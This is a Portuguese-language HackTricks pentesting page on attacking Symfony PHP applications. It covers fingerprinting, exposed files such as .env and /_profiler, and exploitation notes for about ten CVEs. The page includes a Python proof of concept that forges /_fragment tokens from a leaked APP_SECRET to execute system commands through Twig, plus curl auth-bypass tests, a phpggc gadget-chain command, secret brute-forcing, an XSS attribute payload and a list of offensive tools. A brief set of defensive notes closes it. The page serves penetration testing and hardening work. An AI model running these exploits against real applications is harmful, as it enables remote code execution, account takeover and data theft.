Symfony
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Symfony é um dos frameworks PHP mais usados e aparece regularmente em avaliações de alvos enterprise, e-commerce e CMS (Drupal, Shopware, Ibexa, OroCRM … todos incorporam componentes do Symfony). Esta página reúne dicas ofensivas, configurações incorretas comuns e vulnerabilidades recentes que você deve ter na sua checklist ao encontrar uma aplicação Symfony.
Nota histórica: Grande parte do ecossistema ainda roda na branch 5.4 LTS (EOL novembro de 2025). Symfony 7.4 tornou-se o novo LTS em novembro de 2025 e receberá correções de segurança até novembro de 2029. Sempre verifique o nível exato de patch porque muitos avisos de 2024‑2026 foram corrigidos apenas em micro-releases.
Recon & Enumeration
Finger-printing
- Cabeçalhos de resposta HTTP:
X-Powered-By: Symfony,X-Debug-Token,X-Debug-Token-Linkou cookies que começam comsf_redirect,sf_session,MOCKSESSID. - Source code leaks (
composer.json,composer.lock,/vendor/…) frequentemente revelam a versão exata:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Rotas públicas que existem apenas no Symfony:
/_profiler(Symfony Profiler & debug toolbar)/_wdt/<token>(“Web Debug Toolbar”)/_error/{code}.{_format}(páginas de erro amigáveis)/app_dev.php,/config.php,/config_dev.php(front-controllers de dev pré-4.0)- Wappalyzer, BuiltWith ou wordlists para ffuf/feroxbuster:
symfony.txt→ procure por/_fragment,/_profiler,.env,.htaccess.
Interesting files & endpoints
| Path | Por que importa |
|---|---|
/.env, /.env.local, /.env.prod | Frequentemente implantados incorretamente → leaks APP_SECRET, DB creds, SMTP, AWS keys |
/.git, .svn, .hg | Divulgação do código-fonte → credenciais + lógica de negócio |
/var/log/*.log, /log/dev.log | Configuração incorreta do web-root expõe stack-traces |
/_profiler | Histórico completo de requisições, configuração, service container, APP_SECRET (≤ 3.4) |
/_fragment | Ponto de entrada usado por ESI/HInclude. Abuso possível uma vez que você conheça APP_SECRET |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE se acessível (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print & às vezes leak exception traces |
High-impact Vulnerabilities
1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)
- CVE-2019-18889 originalmente, mas ainda aparece em alvos modernos quando o debug é deixado habilitado ou
.envestá exposto. - Uma vez que você conhece o
APP_SECRETde 32 caracteres, construa um token HMAC e abuse do controller internorender()para executar Twig arbitrário:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Excelente write-up & script de exploração: Ambionics blog (linkado nas Referências).
2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)
- Afeta versões abaixo de 5.4.50, 6.4.29 e 7.3.7. A normalização de path poderia remover a
/inicial, quebrando regras de controle de acesso que assumem/adminetc. - Teste rápido:
curl -H 'PATH_INFO: admin/secret' https://target/index.php→ se alcançar rotas admin sem auth, você encontrou. - Corrija atualizando
symfony/http-foundationou o framework completo para o patch fix.
3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)
- Afeta versões abaixo de 5.4.51, 6.4.33, 7.3.11, 7.4.5 e 8.0.5 no Windows quando o PHP é executado a partir do MSYS2 (Git-Bash, mingw).
Processfalha ao colocar aspas em=levando a paths corrompidos; comandos destrutivos (rmdir,del) podem direcionar dirs não-intencionados. - Se você puder fazer upload de um script PHP ou influenciar helpers do Composer/CLI que chamem
Process, construa argumentos com=(ex.:E:/=tmp/delete) para causar reescrita de path.
4. Runtime env/argv injection – CVE-2024-50340 (Runtime)
- Quando
register_argv_argc=One usando runtimes não-SAPI, query strings construídas podem fliparAPP_ENV/APP_DEBUGvia parsing deargv. Corrigido em 5.4.46/6.4.14/7.1.7. - Procure por
/?--env=prodou similares sendo aceitos nos logs.
5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)
- Caracteres especiais na URI não eram validados do mesmo modo que os browsers, permitindo redirect para domínios controlados pelo atacante. Corrigido em 5.4.46/6.4.14/7.1.7.
6. Symfony UX attribute injection – CVE-2025-47946
symfony/ux-twig-component&symfony/ux-live-componentantes de 2.25.1 renderizam{{ attributes }}sem escaping → attribute injection/XSS. Se a app permite que usuários definam atributos de componentes (CMS admin, template de e-mail) você pode chamar isso para injetar script.- Atualize ambos os pacotes para 2.25.1+. Como exploit manual, coloque JS no valor de um atributo passado a um componente custom e dispare a renderização.
7. Windows Process Hijack – CVE-2024-51736 (Process)
- O componente
Processbuscava o diretório de trabalho atual antes doPATHno Windows. Um atacante capaz de fazer upload detar.exe,cmd.exe, etc. em um web-root gravável e dispararProcess(ex.: extração de arquivos, geração de PDF) ganha execução de comandos. - Corrigido em 5.4.50, 6.4.14, 7.1.7.
8. Session-Fixation – CVE-2023-46733
- O authentication guard reutilizava um session ID existente após o login. Se um atacante definir o cookie antes da vítima autenticar, ele sequestra a conta após o login.
9. Twig sandbox XSS – CVE-2023-46734
- Em aplicações que expõem templates controlados por usuário (CMS admin, construtor de e-mails) o filtro
nl2brpodia ser abusado para contornar o sandbox e injetar JS.
10. Symfony 1 gadget chains (still found in legacy apps)
phpggc symfony/1 system idgera um payload Phar que aciona RCE quando um unserialize() ocorre em classes comosfNamespacedParameterHolder. Verifique endpoints de upload de arquivos e wrappersphar://.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce fraco APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE via Symfony Console exposto
Se bin/console estiver acessível através de php-fpm ou upload direto por CLI:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Use deserialization gadgets dentro do diretório de cache ou escreva um template Twig malicioso que será executado na próxima requisição.
Teste rapidamente o bypass PATH_INFO (CVE-2025-64500)
curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.
Spray UX attribute injection (CVE-2025-47946)
{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />
Se a saída renderizada imprimir o atributo sem escape, o XSS tem sucesso. Atualize para 2.25.1+.
Notas defensivas
- Nunca faça deploy do debug (
APP_ENV=dev,APP_DEBUG=1) em produção; bloqueie/app_dev.php,/_profiler,/_wdtna configuração do servidor web. - Armazene segredos em env vars ou
vault/secrets.local.php, nunca em arquivos acessíveis pelo document-root. - Implemente gerenciamento de patches – assine os advisories de segurança do Symfony e mantenha pelo menos o patch-level LTS (5.4.x até Nov 2025, 6.4 até Nov 2027, 7.4 até Nov 2029).
- Se você roda no Windows, atualize imediatamente para mitigar CVE-2024-51736 & CVE-2026-24739 ou adicione uma defesa em profundidade com
open_basedir/disable_functions.
Ferramentas ofensivas úteis
- ambionics/symfony-exploits – secret-fragment RCE, descoberta de rotas do debugger.
- phpggc – gadget chains prontas para Symfony 1 & 2.
- sf-encoder – pequeno helper para calcular
_fragmentHMAC (implementação em Go).
Referências
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
- Symfony Blog – CVE-2025-47946: Unsanitized HTML attribute injection in UX components
- Symfony Blog – CVE-2026-24739: Incorrect argument escaping under MSYS2/Git Bash
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


